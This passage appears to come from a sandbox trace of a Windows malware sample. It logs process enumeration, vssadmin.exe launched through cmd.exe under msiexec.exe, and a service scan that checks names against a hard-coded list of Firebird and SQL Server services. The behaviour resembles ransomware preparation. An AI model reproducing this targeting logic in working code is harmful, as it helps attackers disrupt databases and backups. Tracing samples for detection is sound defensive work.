th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.626] lstrlenW (lpString="svchost.exe") returned 11 [0127.626] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.627] lstrlenW (lpString="svchost.exe") returned 11 [0127.627] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0127.628] lstrlenW (lpString="dwm.exe") returned 7 [0127.628] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0127.628] lstrlenW (lpString="explorer.exe") returned 12 [0127.629] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0127.629] lstrlenW (lpString="spoolsv.exe") returned 11 [0127.629] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0127.630] lstrlenW (lpString="taskhost.exe") returned 12 [0127.630] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.631] lstrlenW (lpString="svchost.exe") returned 11 [0127.631] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0127.632] lstrlenW (lpString="taskeng.exe") returned 11 [0127.632] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0127.633] lstrlenW (lpString="taskhost.exe") returned 12 [0127.633] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0127.633] lstrlenW (lpString="fixwaves.exe") returned 12 [0127.633] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0127.634] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0127.634] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0127.635] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0127.635] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0127.635] lstrlenW (lpString="monsaver.exe") returned 12 [0127.635] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0127.636] lstrlenW (lpString="dosesugar.exe") returned 13 [0127.636] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0127.637] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0127.637] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0127.678] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0127.678] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0127.678] lstrlenW (lpString="nonprofit top.exe") returned 17 [0127.678] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0127.679] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0127.679] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0127.680] lstrlenW (lpString="accused.exe") returned 11 [0127.680] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0127.681] lstrlenW (lpString="governance.exe") returned 14 [0127.681] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0127.681] lstrlenW (lpString="old.exe") returned 7 [0127.681] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0127.682] lstrlenW (lpString="xi cg.exe") returned 9 [0127.682] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0127.683] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0127.683] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0127.683] lstrlenW (lpString="burlington.exe") returned 14 [0127.684] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0127.684] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0127.684] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0127.685] lstrlenW (lpString="buildings.exe") returned 13 [0127.685] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0127.686] lstrlenW (lpString="predictions_took.exe") returned 20 [0127.686] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0127.687] lstrlenW (lpString="carry_dns.exe") returned 13 [0127.687] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0127.689] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0127.689] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.690] lstrlenW (lpString="svchost.exe") returned 11 [0127.690] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0127.691] lstrlenW (lpString="sppsvc.exe") returned 10 [0127.691] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.692] lstrlenW (lpString="svchost.exe") returned 11 [0127.692] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0127.693] lstrlenW (lpString="msiexec.exe") returned 11 [0127.693] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0127.698] lstrlenW (lpString="cmd.exe") returned 7 [0127.698] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.699] lstrlenW (lpString="conhost.exe") returned 11 [0127.699] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0127.700] lstrlenW (lpString="vssadmin.exe") returned 12 [0127.700] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0127.702] lstrlenW (lpString="VSSVC.exe") returned 9 [0127.702] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.703] lstrlenW (lpString="svchost.exe") returned 11 [0127.703] Process32NextW (in: hSnapshot=0x214, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0127.704] CloseHandle (hObject=0x214) returned 1 [0127.704] Sleep (dwMilliseconds=0x1f4) [0128.402] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0128.402] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0128.402] GetLastError () returned 0xea [0128.402] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0128.403] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0128.403] lstrlenW (lpString="Appinfo") returned 7 [0128.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0128.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0128.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0128.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0128.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0128.403] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0128.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.403] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0128.403] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0128.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0128.403] lstrlenW (lpString="AudioSrv") returned 8 [0128.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0128.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0128.404] lstrlenW (lpString="BFE") returned 3 [0128.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0128.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0128.404] lstrlenW (lpString="CryptSvc") returned 8 [0128.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0128.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0128.404] lstrlenW (lpString="CscService") returned 10 [0128.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0128.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0128.404] lstrlenW (lpString="DcomLaunch") returned 10 [0128.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0128.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0128.404] lstrlenW (lpString="Dhcp") returned 4 [0128.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0128.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0128.404] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0128.404] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0128.405] lstrlenW (lpString="Dnscache") returned 8 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0128.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0128.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0128.405] lstrlenW (lpString="DPS") returned 3 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0128.405] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0128.405] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0128.405] lstrlenW (lpString="eventlog") returned 8 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0128.405] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0128.405] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0128.405] lstrlenW (lpString="EventSystem") returned 11 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0128.405] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0128.405] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0128.405] lstrlenW (lpString="FontCache") returned 9 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0128.405] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0128.405] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0128.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0128.405] lstrlenW (lpString="gpsvc") returned 5 [0128.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0128.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0128.406] lstrlenW (lpString="iphlpsvc") returned 8 [0128.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0128.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0128.406] lstrlenW (lpString="LanmanServer") returned 12 [0128.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0128.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0128.406] lstrlenW (lpString="LanmanWorkstation") returned 17 [0128.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0128.406] lstrlenW (lpString="lmhosts") returned 7 [0128.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0128.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0128.406] lstrlenW (lpString="MMCSS") returned 5 [0128.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0128.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0128.406] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0128.406] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0128.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0128.407] lstrlenW (lpString="MpsSvc") returned 6 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0128.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0128.407] lstrlenW (lpString="Netman") returned 6 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0128.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0128.407] lstrlenW (lpString="netprofm") returned 8 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0128.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0128.407] lstrlenW (lpString="NlaSvc") returned 6 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0128.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0128.407] lstrlenW (lpString="nsi") returned 3 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0128.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0128.407] lstrlenW (lpString="PcaSvc") returned 6 [0128.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 